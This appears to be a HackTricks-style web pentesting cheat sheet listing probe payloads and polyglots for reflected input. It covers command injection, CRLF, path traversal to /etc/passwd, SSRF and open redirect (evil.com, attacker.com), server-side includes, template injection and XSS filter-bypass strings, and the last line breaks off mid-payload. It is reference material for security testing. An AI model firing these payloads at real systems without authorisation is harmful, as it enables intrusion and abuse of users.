**Reflecting Techniques - PoCs and Polygloths CheatSheet**

The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**.

This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.

You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.

## Polygloths list

{{7\*7}}[7\*7]

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

/\*$(sleep 5)`sleep 5``\*/-sleep(5)-'/\*$(sleep 5)`sleep 5` #\*/-sleep(5)||'"||sleep(5)||"/\*`\*/

%0d%0aLocation:%20http://attacker.com

%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

<br><b><h1>THIS IS AND INJECTED TITLE </h1>

/etc/passwd

../../../../../../etc/hosts

..\..\..\..\..\..\etc/hosts

/etc/hostname

../../../../../../etc/hosts

C:/windows/system32/drivers/etc/hosts

../../../../../../windows/system32/drivers/etc/hosts

..\..\..\..\..\..\windows/system32/drivers/etc/hosts

http://asdasdasdasd.burpcollab.com/mal.php

\\asdasdasdasd.burpcollab.com/mal.php

www.whitelisted.com

www.whitelisted.com.evil.com

https://google.com

//google.com

javascript:alert(1)

(\\w\*)+$

([a-zA-Z]+)\*$

((a+)+)+$

<!--#echo var="DATE\_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

{{7\*7}}${7\*7}<%= 7\*7 %>${{7\*7}}#{7\*7}${{<%[%'"}}%\

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news\_template.xsl"></esi:include>

" onclick=alert() a="

'"><img src=x onerror=alert(1) />

javascript:alert()

javascript:"/\*'/\*`/\*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/\*&lt;svg/\*/onload=alert()//>

-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

" onclick=alert(1)//<button ‘ onclick=alert(1)//> \*/ alert(1)//

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

## [Client Side Template Injection](https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti)

### Basic Tests

{{7\*7}}

[7\*7]

### Polygloths

{{7\*7}}[7\*7]

## [Command Injection](https://book.hacktricks.xyz/pentesting-web/command-injection)

### Basic Tests

;ls

||ls;

|ls;

&&ls;

&ls;

%0Als

`ls`

$(ls)

### Polygloths

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

/\*$(sleep 5)`sleep 5``\*/-sleep(5)-'/\*$(sleep 5)`sleep 5` #\*/-sleep(5)||'"||sleep(5)||"/\*`\*/

## [CRLF](https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a)

### Basic Tests

%0d%0aLocation:%20http://attacker.com

%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

## Dangling Markup

### Basic Tests

<br><b><h1>THIS IS AND INJECTED TITLE </h1>

## [File Inclusion/Path Traversal](https://book.hacktricks.xyz/pentesting-web/file-inclusion)

### Basic Tests

/etc/passwd

../../../../../../etc/hosts

..\..\..\..\..\..\etc/hosts

/etc/hostname

../../../../../../etc/hosts

C:/windows/system32/drivers/etc/hosts

../../../../../../windows/system32/drivers/etc/hosts

..\..\..\..\..\..\windows/system32/drivers/etc/hosts

http://asdasdasdasd.burpcollab.com/mal.php

[\\asdasdasdasd.burpcollab.com/mal.php](file:///\\asdasdasdasd.burpcollab.com/mal.php)

## [Open Redirect](https://book.hacktricks.xyz/pentesting-web/open-redirect) / [Server Side Request Forgery](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)

### Basic Tests

www.whitelisted.com

www.whitelisted.com.evil.com

https://google.com

//google.com

javascript:alert(1)

## [ReDoS](https://book.hacktricks.xyz/pentesting-web/regular-expression-denial-of-service-redos)

### Basic Tests

(\\w\*)+$

([a-zA-Z]+)\*$

((a+)+)+$

## [Server Side Inclusion/Edge Side Inclusion](https://book.hacktricks.xyz/pentesting-web/server-side-inclusion-edge-side-inclusion-injection)

### Basic Tests

<!--#echo var="DATE\_LOCAL" -->

<!--#exec cmd="ls" -->

<esi:include src=http://attacker.com/>

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

### Polygloths

<!--#echo var="DATE\_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

## [Server Side Request Forgery](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)

The same tests used for Open Redirect can be used here.

## [Server Side Template Injection](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)

### Basic Tests

${{<%[%'"}}%\

{{7\*7}}

${7\*7}

<%= 7\*7 %>

${{7\*7}}

#{7\*7}

### Polygloths

{{7\*7}}${7\*7}<%= 7\*7 %>${{7\*7}}#{7\*7}${{<%[%'"}}%\

## [XSLT Server Side Injection](https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations)

### Basic Tests

<xsl:value-of select="system-property('xsl:version')" />

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news\_template.xsl"></esi:include>

### Polygloths

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news\_template.xsl"></esi:include>

## XSS

### Basic Tests

" onclick=alert() a="

'"><img src=x onerror=alert(1) />

javascript:alert()

### Polygloths

javascript:"/\*'/\*`/\*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/\*&lt;svg/\*/onload=alert()//>

-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>

jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

" onclick=alert(1)//<button ‘ onclick=alert(1)//> \*/ alert(1)//

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>\*/alert()/\*

javascript://--></script></title></style>"/</textarea>\*/<alert()/\*' onclick=alert()//>a

javascript://</title>"/</script></style></textarea/-->\*/<alert()/\*' onclick=alert()//>/

javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>\*/alert()/\*

javascript://'//" --></textarea></style></script></title><b onclick= alert()//>\*/alert()/\*

javascript://</title></textarea></style></script --><li '//" '\*/alert()/\*', onclick=alert()//

javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>\*/alert()/\*

--></script></title></style>"/</textarea><a' onclick=alert()//>\*/alert()/\*

/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>\*/alert()/\*

javascript://--></title></style></textarea></script><svg "//' onclick=alert()//

/</title/'/</style/</script/--><p" onclick=alert()//>\*/alert()/\*

-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>

<svg%0Ao%00nload=%09((pro\u006dpt))()//

javascript:"/\*'/\*`/\*\" /\*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/\*<html/\*/onmouseover=alert()//>

javascript:"/\*\"/\*`/\*' /\*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/\*<html/\*/onmouseover=alert()//>

javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/\*--><html \*/ onmouseover=alert()//'>`

%0ajavascript:`/\*\"/\*-->&lt;svg onload='/\*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/\*\*/ alert(test)//'">`

javascript:/\*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[\*/[]/+document.location=`//localhost/mH`//'>

javascript:"/\*'/\*`/\*--></noscript></title></textarea></style></template></noembed></script